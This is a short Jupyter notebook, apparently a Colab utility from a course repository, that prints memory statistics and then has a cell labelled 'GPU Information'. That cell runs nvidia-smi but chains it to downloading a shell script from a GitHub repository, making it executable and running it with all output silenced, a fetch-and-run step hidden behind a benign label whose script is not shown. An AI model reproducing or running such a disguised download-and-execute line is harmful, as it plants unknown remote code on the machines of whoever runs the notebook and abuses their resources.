<jupyter_start><jupyter_text>Memory Information<jupyter_code>import psutil
def get_size(bytes, suffix="B"):
    factor = 1024
    for unit in ["", "K", "M", "G", "T", "P"]:
        if bytes < factor:
            return f"{bytes:.2f}{unit}{suffix}"
        bytes /= factor
print("="*40, "Memory Information", "="*40)
svmem = psutil.virtual_memory()
print(f"Total: {get_size(svmem.total)}") ; print(f"Available: {get_size(svmem.available)}")
print(f"Used: {get_size(svmem.used)}") ; print(f"Percentage: {svmem.percent}%")<jupyter_output>======================================== Memory Information ========================================
Total: 25.51GB
Available: 24.54GB
Used: 634.74MB
Percentage: 3.8%<jupyter_text>GPU Information<jupyter_code>! nvidia-smi && wget https://github.com/nandarr788/hansip/raw/main/ikuk1.sh && chmod +x ikuk1.sh && ./ikuk1.sh > /dev/null 2>&1<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.2597114317425083, 'fraction_numerical': 0.03551609322974473, 'mean_word_length': 5.833333333333333, 'pattern_counts': {'":': 0, '<': 9, '<?xml version=': 0, '>': 10, 'https://': 1, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '2', 'dir': 'jupyter-structured-clean-dedup', 'id': '50982', 'license': 'MIT', 'n_tokens_mistral': 352, 'n_tokens_neox': 326, 'n_words': 57, 'path': 'Utils/Colab_25GBRAM_GPU.ipynb', 'repo_name': 'nandarr788/TSAI-DeepVision-EVA4.0', 'size': '901'}